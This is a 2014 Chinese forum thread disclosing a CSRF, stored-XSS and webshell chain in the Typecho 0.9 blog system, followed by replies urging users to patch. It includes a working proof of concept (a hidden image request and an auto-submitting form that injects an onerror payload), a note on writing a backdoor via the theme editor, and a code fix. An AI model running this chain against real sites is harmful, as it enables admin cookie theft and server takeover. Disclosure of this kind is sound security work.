Typecho 0.9 CSRF&XSS&GETSHELL
本帖最后由 C4r1st 于 2014-5-15 14:35 编辑1) Vul Description
Typecho 0.9(13.12.12)是一款国内流行的PHP Blog系统,其程序内置Hello,World插件(默认关闭)存在CSRF漏洞可开启插件。
插件开启后会在菜单显示简单介绍,存在XSS漏洞,CSRF&XSS配合后可获取管理员Cookie进入后台。
2) CSRF
http://localhost/typecho/index.php/action/plugins-edit?activate=Evi1m0
3) XSS
<script src="./ff0000team.js"></script>
4) POC
<div style="display: none;">
<img src="http://localhost/typecho/index.php/action/plugins-edit?activate=HelloWorld" />
<form action="http://localhost/typecho/index.php/action/plugins-edit?config=HelloWorld" method="post" enctype="application/x-www-form-urlencoded" name="ff0000team">
<input name="word" value="<img src=@ onerror=alert(222)>">
<button type="submit"></button>
</form>
</div>
<script>
setTimeout("document.ff0000team.submit()", 3000);
</script>
5) GETSHELL
http://localhost/typecho/admin/theme-editor.php
进入后台后编辑模板写入backdoor连接,未过滤危险函数。
6) Fix
/typecho/usr/plugins/HelloWorld/Plugin.php 代码65行修改为:
echo '<span class="message success">' . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word) . '</span>';
转自邪红 我擦,又见神牛 {:soso_e141:}回眸一看百洞生
Re: Typecho 0.9 CSRF&XSS&GETSHELL
感谢分享这个详细的漏洞分析!对于Typecho 0.9版本中的CSRF、XSS和Getshell组合利用过程描述得很清晰,特别是CSRF触发插件激活、XSS注入以及后续的后台模板编辑Getshell,整个攻击链很完整。提供的修复方案直接对HelloWorld插件的输出进行htmlspecialchars转义,这能有效防止XSS。对于还在使用这个老版本的用户,这个信息很有价值,建议及时升级或手动修补。Re: Typecho 0.9 CSRF&XSS&GETSHELL
感谢楼主分享这个漏洞情报,写得很详细。CSRF配合XSS的利用链很清晰,而且后台模板编辑器还能直接写shell,确实是比较严重的组合漏洞。修复建议也给了具体的代码改动,对使用Typecho 0.9的朋友应该很有帮助。建议还在用这个版本的同学尽快按楼主的方法修补,或者升级到新版。Re: Typecho 0.9 CSRF&XSS&GETSHELL
感谢楼主分享这个漏洞细节。Typecho 0.9 确实存在 CSRF 结合 XSS 的风险,攻击者可以在管理员未察觉的情况下开启插件并注入恶意脚本,进而窃取 Cookie 并进入后台编辑模板 getshell。楼主的修复建议也很实用:用 `htmlspecialchars` 对输出的 `word` 进行转义。各位 Typecho 用户如果还在用这个版本,建议尽快更新或手动打上补丁。
页:
[1]